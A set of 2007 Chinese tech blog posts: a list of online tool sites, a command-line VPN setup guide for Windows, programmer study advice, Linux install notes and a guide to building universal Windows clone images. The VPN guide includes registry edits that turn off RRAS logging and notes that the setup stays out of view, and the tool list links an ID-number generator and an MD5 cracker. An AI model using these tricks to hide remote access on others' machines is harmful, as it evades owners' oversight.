83.生成邮址图片\条形码生成\印章  
http://www.makepic.com/

84.QQ在线状态代码生成       
http://is.qq.com/webpresence/code.shtml

85.身份证号码在线生成器-韩国/台湾 
http://i972.net/~gen/

86.条形码在线生成器        
http://www.gzbonny.com/asp/barcode.asp

87.聊天工具在线状态生成器     
http://www.onlinestatus.org/usage.php

88.在线字体生成工具        
http://www.youmade.com/font/

89.LOGO在线制作          
http://www.logomaker.cn/

90.在线制作卡通头像        
http://cartoon.msn.com.cn/

91.网站综合信息查询        
http://www.webmasterhome.cn/
 
92.在线制作按钮(多种款式)     
http://www.buttonator.com
 
93.在线建立您的Web 2.0网站LOGO  
http://web2.0stylr.com

94.在线生成彩字(爱狗狗吧)     
http://www.igogo8.com/

95.live个性图标在线制作      
http://linux-fans.com/email/live/live.php
 
96.在线(IE版)图像处理工具     
http://www1.iephotoshop.com/

97.ajax载入效果          
http://ajaxload.info/

98.报纸头条图片生成器       
http://www.onlinewahn.de/generator/z-maker.htm

99.杂志封面生成器         
http://www.funonit.com/funny_jokes/fake_magazine

100.MD5加密破解查询        
http://www.md5.org.cn/

101.网站历史页面查询        
http://www.archive.org/web/web.php

102.批量查询未注册域名       
http://www.moniker.com/domains/batch_reg.jsp

103.Javascript与html互转工具   
http://www.jz123.cn/js.html

- 作者: LasOn 2007年07月7日, 星期六 14:58  回复(1) |  引用(1) 加入博采

CMD下建立VPN
来源:守护天使'S Blog

1.前提
服务里 windows防火墙停止(或者麻烦点可以把router协议,端口1723配进去)
远程注册表服务必须开启
server服务必须开启
router路由服务必须开启

两块以上网卡的win2000做vpn很方便,添加nat协议后,客户端拨入,能够使用远程网络连接internet。 使得部分客户端可提高网络速度,并达到代理的作用。

一块网卡的winxp,win2003做类似的vpn仍然很方便,nat协议添加后,再添加两个接口,一个是本地连接,一个是内部,设置本地连接为全转发,内部为私有模式,既可让有权限的用户拨入。

一块网卡的win2000,做类似的vpn就不方便了,nat协议添加后,再添加接口,只可以添加上本地连接,内部不容许图形界面的添加,察看了netsh dump >c:\1.txt后,尝试在netsh命令添加内部接口,通过。 命令为:netsh routing ip nat add interface 内部 private

下面是部分常用命令:

netsh ras set user username permit //设置用户授权,该用户不能为tsinternetuser support_388945a0等。

netsh ras ip set addrassign pool //设置静态地址池模式

netsh ras ip add range 10.0.0.1 10.0.0.100 // 设置静态池范围 ,要用标准的局域网地址,避免将来在访问internet时候地址转发错误。

netsh routing ip nat install //添加nat协议

netsh routing ip nat add interface 本地连接 full //添加nat接口本地连接全转发

netsh routing ip nat add interface 内部 private //添加nat借口内部私有模式

igmp同样可以在netsh配置,命令行很长:

netsh routing ip igmp install

netsh routing ip igmp add interface 内部 igmpprototype=IGMPRTRV2 ifenabled=enable robustvar=2 startupquerycount=2 startupqueryinterval=31 genqueryinterval=125 genqueryresptime=10 lastmemquerycount=2 lastmemqueryinterval=1000 accnonrtralertpkts=YES

netsh routing ip igmp add interface name="本地连接" igmpprototype=IGMPPROXY ifenabled=enable
如果配置前已经有接口,就要先删除:

netsh routing ip igmp delete interface 内部 //与此类似

路由和远程访问服务会在系统、安全日记中记录不少信息,比如ipsec、登陆信息。

修改一下注册表可以避免:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan\Parameters

ProhibitIPsec"=dword:00000001

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess\Parameters

LoggingFlags"=dword:00000000

现在除了登陆信息,ipsec,remoteaccess警告,已经不记录。

----------------------------------------

还有值得一提的是建立好地vpn,通常使用的都是pptp协议,tcp1723端口,如果我们在网卡的ip策略添加了tcp1723的容许条目,基本上可以拨入。为什么是基本呢,因为pptp除了 tcp1723外还有一个ip47号协议,不同于tcp不同于udp,此协议对于认证很重要。如果网络上的防火墙割断的话,会出现拨号->用户认证 ->不通过认证断开的问题。

在配置vpn的时候,还需要remoteregister服务的支持,建立好以后可以关掉。

workstation , server,rpc同样在配置时候需要。

----------------------------------------

经测试,全命令行的建立vpn后,rrasmgmt.msc不出现具体配置信息。也就是说只有看网络连接文件夹,才能看出来一个拨入的连接。貌似隐蔽,比较见鬼。  

- 作者: LasOn 2007年07月7日, 星期六 02:00  回复(0) |  引用(1) 加入博采

一个程序员应该具备的基础知识和概念
1、计算机是有什么组成的,CPU是什么东西,其工作原理是什么。(对于这些以及下面将要提到的概念我不会告诉你什么答案,你可以看相应的教材,关于教材我会在下一部分详述,记住理解最重要!)

2、机器语言和微指令集的概念。

3、程序的概念。

4、汇编语言是低级语言但不是机器语言。

5、高级语言主要有那些?(C,C++,Basic,Pascal,Fortran,C#,Java等等;如果你是PRC软件业的英雄,你也写一门语言,最好不用英语) 6、编译程序和解释程序的概念和其原理。(编译器是高手和专家编写的)

7、HTML、XML等是标识性语言。

8、Prolog是人工智能语言。

9、操作系统OS的概念和原理。(Windows98,Windows2000,Windows NT,UNIX,Linux,等等都是OS,还有一些实时OS,嵌入OS,编这些的绝对是高手)

10、Windows编程说白了就是Windows API的调用。(PRC的程序员很多只是会编windows程序,用的是VB,我的建议是这些程序员顶多只是低级编码员,我称其是coder)

11、VC++、VB、BC、BCB、Delphi、VF等都只是编程的工具和环境,不是编程语言。

12、面向结构的设计概念。

13、面向对象的概念。(好好理解,兄弟,这个东西还是很重要的)

14、软件工程的概念和原理。(如果你想当老总就需要好好研究了,系统分析员比编码员要高一个等级,薪水也高哟)

15、数据库的概念。(要熟悉一些著名的数据库系统和语言的名字,如Orcle,SQL,DB2,DyBase等)

16、了解网络概念。

17、了解多媒体概念。

18、熟悉和掌握数据结构和基本算法。

19、是不是要求太高了,别着急慢慢来,进步在不知不觉之中。(一旦开始学习,一个月以后你就会有一个基本的概念;两个月以后你就会感觉自己有了全面的基础知识;当你知道编程序是怎么回事时,说明你已经入门了。也有很多人编了很多年程序还没有入门呢,你不会希望自己步其后尘吧。要有信心和耐心。沉不住气怎么能成大事?!)

(四) 教材推荐

――-推荐的教材主要还是针对概念来的,最好选用名校的教学用书。

1、《计算机组成原理》(熟悉)

2、《数据结构》(掌握)

3、《操作系统》(了解->熟悉)

4、《The C language》(掌握)

5、《编译原理》(了解原理)

6、《汇编语言》(了解)

7、《计算机网络》(了解)

8、《软件工程》(了解)

9、《关系数据库》(熟悉)

10、《The C++Languege 》(掌握)

11、《面向对象设计》(掌握;结合C++学习)


(五)一些经验和体会

1、真正的程序员用C++;(一位专家说的)

2、动手去编程序;

3、动脑去思考;

4、要有良好的编程风格;

5、读书,读好书,尽量读原版书!(我反复强调这一点,读书要有选择,坚持读好书,名家出的经典书,不要浪费实践在一些粗制滥造的书上面;坚持博览群书)

6、有自己的学习计划;

7、总结自己的经验教训;(准备一个笔记本,记录错误和心得)

8、不要怕学新东西;

9、要有软件工程的思想;

10、善于发现问题,然后去寻找答案;

11、向高手请教;(要虚心直到你成为高手)

12、和同行交流;(不善于交流肯定不行)

13、懂得软件的实质,不要被千变万化的表象所迷惑;

14、真正要学习用的是编程语言和方法,不是什么库,什么类,什么工具;(学用那些什么库都比较简单,但光会这些库,我觉得还远远不够)

15、学习wiodows编程主要是学习windows OS和win32 API;

16、有空了解一下嵌入式开发;

17、有空了解一下PDA软件开发;

18、了解一下.NET框架和C#语言,也许它是你新的衣食父母;

19、要有耐心,不要作浮躁的人; 20、对程序加注释,并保留你的老程序;

21、学到的东西越多,了解的越多,你就越接近专家;

22、有空去逛逛CSDN,那里有你很多知己;

23、要有信心成为一个优秀的程序;

(六)一些好书的推荐

1、《The C Programming language》 (Keinighan & Dennis Ritchie 1988)

2、《The C++ Programming Languague》(Bjarne Stroustrup 1997)

3、《Inside The C++ Object Model》 (lippmans)

4、《Effective C++》 (同上)

5、《More Effective C++》 (同上)

6、《Exceptional c++》

7、《C++面向对象高效编程》

8、《设计模式》

9、《Thinking In C++》

10、《The Standard C++ Bible》(一般推荐)

11、《The Art of Computer Programming 》

12、《Programming Windows》 (Charles Petzold)

13、《VC++5.0技术内幕》

14、《MFC 深入浅出》

15、《软件需求》

16、《Advanced Windows》

17、《C++ primer》

18、《win32程序员参考手册》

19、《用TCP/IP进行网际互连》

20、《COM 本质论》

(七)学习计划

――-这个学习计划是我个人定的,也共享给大家参考一下,共同进步吧。 1、《计算机组成原理》

2、《操作系统》

3、《数据结构》

4、《汇编语言》

5、《 C 》

6、《 C++ 》

7、《VC 技术内幕》

8、《Programming Windows》

9、《深入浅出MFC》

10、《Advanced Windows》

11、《Inside The C++ Object Model》

12、《Thinking in C++》

13、《Effective C++》

14、数据库

15、网络

16、嵌入式OS和编程

17、硬件单片机

18、.NET和C#

19、软件工程

20、UNIX和Linux




    总结.

          选定一门你想学的语言就啃定它,别放弃,

          永远也不要觉得自己懂一点就算是程序员了,

          你写出的程序就可以知道你是不是程序员了...

- 作者: LasOn 2007年07月7日, 星期六 01:32  回复(0) |  引用(1) 加入博采

Linux环境下软件安装总结

一篇工作室兄弟写的文章,虽然我还没系统学习Linux,不过也计划中了,这篇文章已被LINUX技术站转载,做为新手学习是篇不错的参考。(转过来时改了里面几个错别字,呵呵,笨猫以后写文章还是检查下哈)

                          Linux环境下软件安装总结                             作者:Cv_lion

     最近花了大量时间学习LINUX,通过系统的看书和到网络上查阅资料,得到了一些体会,所以我以学习笔记的形式写出我的学习心得。

  通过这段时间大量的查阅资料,验证了高手些说的话。很多文章都是COPY过来,又COPY过去,错的依然有错,真正写的还是少数人,我说这话没有别的意思,只是想告诉大家,要想系统学习知识,还是多看原著,推荐看国外书籍[原因自己想,我的英语很差,但是我仍然极力推荐]。

  今天就总结下LINUX环境下软件的安装总结,LINUX已经开始普及,作为普通的网民,我们应该早打算,早熟悉我们即将要使用的环境。LINUX与WINDOWS环境下的软件安装是截然不同的。LINUX下面的软件大致有这几种类型:

  tar包:例如xxx.1.2.3-3.tar.gz/xxx.1.2.3-3.tar.bz2/xxx.1.2.3-3.tar

  rpm包:例如xxx.1.2.3-3.rpm

  dpkg包:例如xxx.1.2.3-3.deb

  bin包:例如xxx.1.2.3-3.bin

  大家可能从上面隐约看出,不管什么包,它的命名都是都有一定的规律,他们的规律是:名称-主版本-修正版-类型。

  LINUX的文件安装类型由文件的类型决定,所以不难得出,LINUX环境下,软件的安装主要分为三类:

  A: 源代码安装,前面提到的文件类型tar包。

  安装实列: tar -xvf xxx.1.2.3-3.tar tar -zxvf xxx.1.2.3-3.tar.gz tar -jxvf xxx.1.2.3-3.tar.bz2---先对TAR包进行解压[相关知识请自行查阅] 进入解压后的文件目录 ./configure----对原代码进行编译[重要提示:编译之前一定要安装GCC/C等编译环境,否则无法进行编译]在这里有的软件不需要编译,直接运行就可以了,象fitcx输入法。 make---生成连接、模块文件。 make install---进行安装 make clean----清楚安装的临时文件

  B: 可执行文件安装,前面提到的bin

  安装实列: chmod u+x xxx.1.2.3-3.bin ---[这里是为bin这个软件授予执行权限,否则无法直接运行] ./xxx.1.2.3-3.bin[这样的软件有ZEND等,一般里面包含有一个RPM编译好的执行文件继续进行安装,直到安装完成]

  C: 可执行软件包安装,前面提到的rpm、deb

  安装实列: rpm -ivh xxx.1.2.3-3.rpm[这种文件安装最为简单,无须做任何准备,但是建议初学者坚持使用源代码进行编译,会学到很多东西]

  dpkg –i xxx.1.2.3-3.deb

  在LINUX环境下,安装文件基本就这几种类型和简单的安装方法,当然里面有很多参数,配合起来,功能相当强大,相关资料请自行查阅。

  很多朋友安装的软件的时候,不知道选哪个版本的,因为在LINUX下,有很多版本。所以推荐一个小命令,为大家再选择安装软件的时候节约时间和空间。

  uname -a [会看到自己系统的内核版本等信息,很快就能决定需要什么版本的安装软件了]

  安装到是安装完成了,当你觉得某个软件不需要了,想把他卸载,怎么办??

  使用whereis XXX[进程名] 得到软件安装的所有目录,然后删除。

  rpm -e xxxx

  dekg -e 软件包名

  总结下:上文简单区分了文件类型和安装类型,以及各个类型文件的安装方法以及卸载。但是上面只是沧海一粟,很多扩展功能没有讲解,请读者自行查阅。

- 作者: LasOn 2007年07月6日, 星期五 20:54  回复(0) |  引用(1) 加入博采

删除串口大硬盘任务栏上的添加删除硬件图标

前两天一个同事问的,方便以后他们查询帖上来吧。

有如下解决办法: 
1.开机按Del进入BIOS,开启IDE映射功能。把SATA映射成PATA设备。(会影响串口硬盘性能,相当于把sata硬盘当成pata硬盘用)具体操作请查看主板说明书。 

2“开始----控制面板-----添加/删除程序——NVIDIA Drivers,点击“更改/删除”,把NVIDIA的 SW IDE驱动卸载就行了”重启后图标就没了 (但这样你的串口硬盘会使用IDE通道,如IDE设备多了,如:光驱、刻录机 就会影响你的硬盘性能) 

3.在装主板驱动时不装主板的IDE驱动就不会出现这个现象,但是不安装主板驱动肯定会对影响磁盘读取的稳定性、性能和兼容性,强烈建议不要这么做 

4.等NVIDIA推出新的主板bios或驱动(是等哦,不一定会推出的哦) 

总结:串口硬盘安装了主驱动后(严格说,系SW IDE磁盘驱动 请留意一下主板驱动的安装过程)就会出现这种情况,正常!!! 

建议:隐藏它(操作:任务栏——>右键——>属性——>任务栏——>”隐藏不活动的图标”前打勾 ——>自定义……之后的你应该知道怎么做了吧)

- 作者: LasOn 2007年07月6日, 星期五 18:45  回复(0) |  引用(1) 加入博采

Windows通用克隆系统入门基础知识简介
这里的Windows是指微软的Windows 2000/XP/2003(后文中未经说明的,凡是Windows均指这三种系统);所谓的通用克隆,俗名万能克隆,又名封装系统,就是在一台机器上装好Windows系统,然后经过一系列的技术处理,然后将它使用克隆软件克隆出来,使得这个克隆系统能够在任意的目标PC上恢复。事实上,到目前为止,我还没有遇到过真正的万能克隆,做得再好的通用克隆系统也会遇到失败的情况,而从理论上来说,要实现真正的万能克隆也是不太可能的,在后面的叙述中我们会详细讲一下原因。

最近在很多论坛(龙帝国、无忧启动、sysoft时空、DOS联盟)均看到有人关注有关Windows通用克隆方面的基础知识问题,而很多人对于Windows的通用克隆,只知道S&R&S软件和死性不改,至于S&R&S表示什么意思,死性不改对通用克隆的发展到底作了哪些贡献,均不甚了了。更多的人不了解通用克隆的制做需要解决哪几方面的问题,甚至还有很多人连一些基础概念都不清楚。这种对通用克隆缺乏了解的情况是很普遍的,导致通用克隆这个并不复杂的技术被很多人神秘化,甚至走上了神坛,让广大用户都觉得它是可望而不可及的。实际上,就本人的了解和理解,通用克隆的制做原理并不复杂,但如果抛开S&R&S这一类的制做软件而完全自己手工实现,则在细节上就要麻烦很多,所以,本文只讲原理,不深究技术细节,有兴趣的人可以在本文的基础上进一步穷其本源,而事实上,也只有靠自己的努力探索才能获得其精髓。

1.通用克隆需要解决的技术问题

很多人都知道,一个不经处理的Windows系统直接恢复到另一台机器上,最有可能出现的情况就是蓝屏,或者反复重新启动。那么,造成蓝屏、重启等的原因是什么呢?事实上,这就是通用克隆系统所要解决的最基本的技术问题。

1.1 Windows的硬件抽象层(HAL)问题

我们知道,NT是基于内核的分层设计的操作系统(实际上是类UNIX操作系统),最早的NT系统是支持包括I386(Intel及AMD平台)、Alpha、Sparc等不同硬件平台的操作系统,共实现原理就是将操作系统分层设计,其中最底层的硬件抽象层(即Hardware Abstract Layer,也就是HAL)直接与硬件相关,高层只与其下一层打交道,不再直接接触硬件(这也是Windows NT下不允许软件直接访问硬件的主要原因)。那么,这里的HAL层就相当于现在的JAVA虚拟机、也相当于ISO组织定义的开放互连网络中的OSI七层参考模型中的物理层的作用。就算是在I386平台下,很显然,一台P3的机器跟P4的机器所用的硬件差别也是很大的,也即,它们对于Windows来说要使用不同的内核,也就是不同的HAL。

有了上面这些基础的概念,我们就可以开始介绍通用克隆制做中所谓的电源模式问题了,实际上,电源模式问题就是HAL的问题,又叫计算机类型问题(因为它直接对应设备管理器中的计算机类型项)。在我们日常接触的PC中,最经常用到的计算机类型有这么几项:
Standard PC
Advanced Configuration and Power Interface (ACPI) PC(简称ACPI)
ACPI Uniprocessor PC
ACPI Multiprocessor PC

关于如何理解这些计算机类型之间的区别,请参考龙帝国论坛木鸟朋友的这篇文章:http://nufans.net/dvbbs/dispbbs. ... p;ID=823&page=1。另外,也可以参考我曾经写的这篇文章《Windows 2000/XP/2003操作系统所支持的计算机类型(HAL)及相关内核文件的对应关系》来进一步了解不同计算机类型之间的区别及更换计算机类型的原理与方法。

基本上,上面所列出的四种HAL类型,后三种都与Standard PC(标准计算机)兼容,而如果使用了错误的HAL类型启动目标计算机,系统也有可能正常启动,但可能会丢失某些功能,例如一台支持ACPI的计算机如果以Standard PC模式启动,那么就会导致关机时不能自动关闭电源。所以,如何正确的选择目标计算机的HAL类型成为通用克隆系统制做发展历史上的一个重要课题,在前面所提到的木鸟的文章中也有这个历史发展过程的简要介绍(事实上,hyne、chenall、死性不改最早都是从无忧论坛开始讨论这个问题的)。那么解决HAL问题的历史中经过了这么几个阶段:

1) 以Standard PC方式安装系统,然后手工修改计算机类型。

这种方式是在制做克隆系统前将计算机类型手工修改为Standard PC以求得克隆系统的最好兼容性(同时还会修改IDE控制器为标准双通道,后面详述),然后恢复到目标计算机,但会导致设备管理器的计算机类型中出现两个Standard PC,然后手工将其中一个修改为适合于目标计算机的类型(这要靠人工判断),这种方式的缺点是修改完重新启动后还要再搜索一遍硬件驱动,导致系统中出现大量幽灵硬件。

2) 人工判断,手工选择。

这一阶段以hyne、chenall、死性不改(我所接触到的)为代表,通过使用批处理或者VB程序的方式,在克隆系统启动时出现一个选择菜单让用户选择适合自己计算机的HAL类型,至于如何判断自己计算机所使用的HAL类型,基本上是靠安装人的经验。这种方法避免了二次搜索硬件的过程,至于更多的优点,我已经记不太清楚了。

3) 使用TA.EXE自动判断,手工确认,BOOT菜单二次修改。

这种方法主要来源于死性不改的创举,他发明了使用XP Embeded制做工具中的目标计算机分析程序ta.exe再加上使用CPUZ的结果来判断CPU数量,从而综合判断目标计算机可能的HAL类型。当然,这种判断方式是不完全准确的,有可能会发生错误,所以才会出现手工确认以及BOOT菜单控制法等补充手段,这一阶段的最完美产品我觉得是S&R&S 5.5 Build 1030。

4) 使用WinPE来判断计算机类型。

这种方式在木鸟的文章中有提及,我不甚了了,所以也无法过多介绍。但可以肯定的是,这种方法根本没有流行起来。

5) 使用Longhorn的ntldr自动判断并选择计算机类型。

这种方法我看到的是由网友“微软破解中心”在无忧启动论坛发表的一篇文章中所介绍的,现在这篇文章在网上流传的很广,文章写得也很浅显易懂,我就不详细介绍了,有兴趣的去搜索一下来看看。总之,就是发现longhorn的ntldr有一个新参数,即/detecthal(在boot.ini的启动项中设置),通过这个参数,可以实现自动判断并选择计算机类型,而且这种技术由于源出于微软,所以其结果是百分百准确的。基本上,使用Longhorn技术来判断正确的hal就是目前最完美的解决办法。死改不改的S&R&S 9.x版本基本上都使用这种方式。

1.2 大容量存储设备(MassStorage Device)驱动问题

先解释一下这个MassStorage Device是什么东东。所谓的MassStorage Device,说白了就是硬盘控制器,细分的话包括PATA(传统的硬盘控制器)、SATA、RAID、SCSI等,实际上,死性不改的S&R&S就是SATA&RAID&SCSI的意思。总之,是指Windows可能安装于其上的存储设备的类别,我们一律以MassStorage来统称它们。

说起来通用克隆的MassStorage问题,应该说这个问题最早是由SATA串口硬盘不断推广引起的,在通用克隆发展的早期,SATA硬盘还不是很流行,这个问题还不是很严重,因为所有的PATA(IDE)控制器都兼容于标准双通道IDE控制器,所以人们制做克隆时只需要将源机器的IDE控制器修改为标准双通道即可。但很显然,SATA并不兼容于标准双通道,所以当时制做的克隆系统在SATA硬盘上恢复后重启时会出现蓝屏(错误提示就是Inaccessable_boot_device,即不可访问的启动设备)。其实这个问题的由来已久,在安装Windows NT时在TextMode安装模式下通过按F6加载存储设备驱动软盘上的驱动就是这个问题最早的由来。原因很简单,Windows NT不再依赖于BIOS提供的方式访问硬盘,而是通过底层的驱动程序,如果没有加载对应的驱动程序,那么Windows就会找不到硬盘,找不到硬盘当然就不可能将Windows启动起来。而DOS则是通过BIOS来访问硬盘的,所以这也是为什么DOS能够访问SATA、RAID、SCSI硬盘而Windows却不能访问的主要原因。

讲清楚了这个问题的原因,我们简单讲一下解决办法,其实也很简单:那就是搜集尽可能多的MassStorage设备的驱动程序,然后使用Windows的方式将它们一次性都加载进系统,这样就不会存在找不到硬盘的问题(事实上,Windows自己也是这么做的,大家可以仔细观察一下Windows NT的安装过程,在字符模式(TEXTMODE)安装界面,你会看到它加载了一系列的驱动程序,其中包括很多本机所没有的MassStorage设备驱动,但微软自己也不可能在安装程序中集成所有的MassStorage设备驱动,所以它提供了F6方式通过软盘加载额外的驱动)。什么是Windows的方式呢?基本上就是将驱动文件复制到%windir%\system32\drivers目录下,然后修改注册表,将相应的驱动程序所对应的服务及硬件ID写入合适的注册表项。这些写入的内容通过分析对应的驱动程序的inf文件就可以获得,为此,rui网友还曾经写过一个inf2reg的程序来自动根据驱动的inf文件生成对应的需要加入注册表的内容,实际上,驱动的inf文件的书写是有严格的规范的,从微软的TeckNet上可以找到很多有关的内容,有兴趣的朋友可以自己搜索并研究一下。

很显然,以我们个人的能力是不可能搜集到所有的MassStorage设备的驱动的,同时存储技术在不断发展,新硬件也层出不穷,这是通用克隆不可能实现万能的原因之一。还有一个原因,就是这些驱动之间有可能存在不兼容问题,驱动的不兼容会导致同时加载时直接死机,例如intelide与viaide的不兼容问题,这是导致克隆不能万能的原因之二,也是最主要的同时也很难解决的问题。目前,死性不改正在探索在DOS下运行的S&R&S软件,目的就是解决这个问题,其实现原理就是根据目标机器的硬件情况在DOS下只加载适合目标机器的对应的驱动,这样就可以有效避免驱动程序的不兼容问题,当然,这个产品还在测试阶段,有兴趣的可以访问龙帝国论坛S&R&S封装专区下载产品进行测试。

Acronis True Image最新版本所具有的Universal Restore功能,实现了在恢复克隆后类似于Windows安装时的F6加载用户自定义驱动功能,这应该是解决通用克隆恢复的一个好方向,当然,这需要更多的有志之士致力于研究它、推广它。

除了MassStorage设备的驱动问题以外,新型的CPU以及USB键盘、鼠标等设备驱动也要使用这种方式解决,例如AMD K8 CPU的驱动问题等。而木鸟所推出的ASR Tools系列封装软件,相对于S&R&S系列软件来说,最大的区别就在于所集成的驱动,由于木鸟对硬件驱动骨灰级的专家水平,所以它的封装软件中集成的驱动要远远优于S&R&S早期的软件,当然,由于木鸟和死性不改私下里是很亲密的战友,新版的S&R&S软件也采用了木鸟所提炼的驱动包,因此,从本质上来说,两个封装软件并没有什么大的区别,当然,细微的区别还是有的。我个人更喜欢用ASR Tools来制做通用克隆系统,但其操作步骤相对繁琐。

由于克隆系统在制做前需要集成大量的驱动程序,而在克隆安装完成后,这些驱动文件及对应的注册表项并不会被系统自动清除,而是随着系统每次都要启动,再加上驱动间的兼容性问题,因此给克隆系统带来了不小的隐患,同时也耗费了不小的系统资源,这也是很多人不提倡对克隆系统进行二次封装的主要原因。因应这种情况,在木鸟的指导下,由我操刀编写了ASRClean程序来配合ASR Tools系列封装软件进行安装完成后的驱动清理工作(同时还要感谢rui朋友提供的检测系统当前使用的MassStorage驱动的方法)。经过ASRClean清理的系统再进行二次封装,原则上应该是没有任何隐患的。

基本上,上面所讲的两个问题就是通用克隆系统所需要解决的两个核心技术问题。其它问题基本上都属于细枝末节问题,并不影响大局。

从我最近的几次装机经验来看,在克隆中集成大量的MassStorage存储设备驱动,在某些机器上真的会导致兼容性问题而导致克隆恢复失败,我遇到的一例失败就是在一个使用SiS芯片组的清华紫光笔记本上,克隆恢复完成后重启时系统不断蓝屏重启,我的解决办法是将失败的system注册表文件提取出来,然后在另一台Windows机器上使用reg load加载注册表文件,再使用ASRClean清理掉除SISIDE外的其它多余的MassStorage设备驱动(ASRClean 1.1支持这种功能,但你要自定义清理列表,详细用法看帮助),再将system文件复制回去,果然恢复成功。我想这个办法可以供大家作为借鉴。


==========================================================================

Windows通用克隆基础知识之二-关于封装系统的步骤及注意事项




1、关于克隆母系统所用机型。个人感觉对制作克隆系统的机器应该没有什么特别的要求,在我想来,VMWare、Virtual PC、PIII、P4的机器均可,当然,我们一般选用比较新比较快的机器进行母系统的安装与设置。不过,有一点儿特别需要注意的问题就是intelide和intelppm的不兼容问题。在封装完成后,应该删除intelide和intelppm服务及相关的注册表项。这个操作可以使用ASRClean完成。

命令1:
ASRClean /Delete:DelList.txt /NoRegBackup /Quiet


DelList.txt内容:
INTELIDE
INTELPPM

将ASRClean.exe和DelList.txt放到同一目录下,然后执行命令1即可清除intelide和intelppm服务相关注册表项。

当然,我的克隆系统都是在Intel平台下完成的,nForce、VIA及SiS平台是否需要清除相关的服务我不敢肯定,有心人可以测试一下。

2、关于克隆系统安装杀毒软件。在我的实践中,我仅测试过安装NAV企业版和瑞星网络版的客户端,对克隆系统都是没有影响的。至于卡巴斯基,论坛里曾经有人反映过它会造成克隆系统恢复失败,有人也给出了解决方案。但对于杀毒软件,我不是十分看重,毕竟,我们恢复完系统都要给系统再做克隆,系统坏了,大不了恢复克隆即可。所以,我个人虽然并不推荐不安装杀毒软件,但对过分强调杀毒软件的作用也持保留态度。有时候,用户良好的计算机操作和上网习惯是比安装杀毒软件更重要的一个因素,例如:经常给系统打补丁、不随意运行不明软件、浏览时不随意点Yes或者确定,这些都很重要。所以,对于杀毒软件,我只推荐象NAV企业版客户端或者McAfee这一类兼容性较好,占用系统资源较少的软件,虽然有时候它们的杀毒效果并不明显,但毕竟聊胜于无。

3、关于IDE控制器和计算机类型(电源类型)。虽然ASRTools宣称在使用它的卸载驱动功能后,不再需要将IDE控制器修改为标准双通道,但我个人认为,将IDE控制器修改为标准双通道还是稳定性更好的一种做法。因此我建议在使用ASRTools时,不要使用它的卸载驱动功能。在使用msprep.exe对系统进行封装前或者后,请手工确认一下是否将IDE控制器修改成了标准双通道,将计算机类型修改为Standard PC。

4、关于卸载普通硬件驱动和减少幽灵硬件。个人感觉完全不用担心幽灵硬件会对系统造成什么严重的影响,因此,如果你不是追求完美型的,完全可以不必理会幽灵硬件问题,因为FXZM所制作的最经典的克隆系统都没有理会幽灵硬件问题。

如果你想减少幽灵硬件,有两种比较简单有效的办法:
(1)使用下面的批处理:

@echo off
:: CPU
devcon remove ACPI\Processor

::GAME Port
devcon remove PCI\CC_09*

::网卡
devcon remove PCI\CC_02*

::声卡
devcon remove PCI\CC_04*

:: USB HOST and SMBus
devcon remove PCI\CC_0C*

:: 监视器
devcon remove DISPLAY\*

:: 显卡
devcon remove PCI\CC_03*

:: 芯片组
devcon remove PCI\CC_0604*

:: 磁盘卷
devcon remove @STORAGE\*

:: USB存储卷
devcon remove @USBSTOR\*

:: USB设备
devcon remove @USB\*

:: 人机接口设备
devcon remove @HID\*

:: IDE设备
devcon remove @ide\*

:: IDE Channel
devcon remove @PCIIDE\*

这个批处理我是在ASRTools的removed.cmd的基础上完善出来的,例如,我不再卸载IDE控制器。因此,这个批处理请在安装完ASRTools后运行。

(2)使用我写的另一个批处理在恢复克隆后的封装安装过程中进行,具体说,是使用msprep.ini的ext=命令运行。

这个批处理我在ASRClean的讨论专帖中曾经发布过,帖子链接如下:
http://bbs.mscode.cc/viewthread.php?tid=19179

批处理名为xyfprep.cmd。

另外,可以同时采用上面两种方式,即在封装前使用removed.cmd卸载硬件,在恢复后封装安装过程中使用xyfprep.cmd再次卸载硬件。我自己的克隆系统就是同时使用这两种方式,基本上在恢复完成后可以保证没有什么幽灵硬件。

至于有人所说的在BIOS中关闭大部分硬件应该也是有效的,只要系统不安装对应的硬件驱动,就不会存在幽灵硬件。

5、关于对母系统进行封装的步骤。这个步骤其实不是死的,如果你了解整个过程,甚至在封装完成后都可以对克隆进行必要的改动。但我一般采用的步骤如下:

(1)母系统的准备。主要是系统的安装、安装常用软件,对系统进行优化和设置,这是一个完全个性化的过程,没有必要统一。如果你想将克隆放到光盘上,就尽量少安装软件。至于优化和减肥,自然更是见仁见智的事情。总之,你在对母系统进行封装前,一定要保证它是稳定的没有问题的。

(2)先给母系统制作一个克隆。一个好用的通用克隆系统的制作是一个大量实际测试和不断完善的过程,因此,对母系统保留一个原始的克隆是一种很好的节省克隆制作时间的方法,这样可以保证我们的每次封装安装都是在一个稳定的基础上开始的。而我们所要做的只是不断完善封装过程,改正上一次封装中所发现的错误。

(3)安装ASRTools或者S&R&S软件。安装过程中会有一些选项,一般就是选择你要集成到系统中哪些驱动(我一般是选择集成全部驱动的)。关于ASRTools的卸载驱动功能,建议你采用我上面所推荐的方式进行。

(4)将对应母系统的sysprep.exe和setupcl.exe复制到c:\sysprep目录(没有必要将deploy.cab中的所有文件解压过去,只需要这两个文件)。运行msprep.exe对系统进行封装,至于msprep的选项,我一般将修改IDE控制器和计算机类型为Standard PC操作手工进行,因此,不会选择msprep中的对应选项。至于sysprep.exe的选项,好像最新版的msprep.exe已经剥夺了用户选择对应选项的权利,就用它默认的即可。至于sysprep.inf,我觉得根本没有必要每次封装都使用setupmgr.exe生成一个,直接将别人所做的克隆中的sysprep.inf文件复制出来然后稍加修改即可。例如,你可以用下面的:

;SetupMgrTag
[Unattended]
   OemSkipEula=Yes
   OemPreinstall=Yes
   DriverSigningPolicy=Ignore
   OemPnPDriversPath="windows\system32\bird;drivers\Camera;drivers\Chipsets;drivers\Display\ATI63\B_31321;drivers\Display\ATI63;drivers\Display\NV5216;drivers\Display\NV8421;drivers\Display;drivers\Ethernet;drivers\Integrated\intel\i8x5;drivers\Integrated\intel\i9x5;drivers\Integrated\intel;drivers\Integrated\s3;drivers\Integrated\sis;drivers\Integrated\via;drivers\Integrated;drivers\Sound\ad3890;drivers\Sound\ad4050;drivers\Sound\ad5430;drivers\Sound\addell;drivers\Sound\adihd;drivers\Sound\cmedia;drivers\Sound\ews88;drivers\Sound\Hdaudio;drivers\Sound\realtek;drivers\Sound\SigmaTel;drivers\Sound\sndchip;drivers\Sound\viaenvy;drivers\Sound\viahd;drivers\Sound"

[GuiUnattended]
    AdminPassword=*
    EncryptedAdminPassword=NO
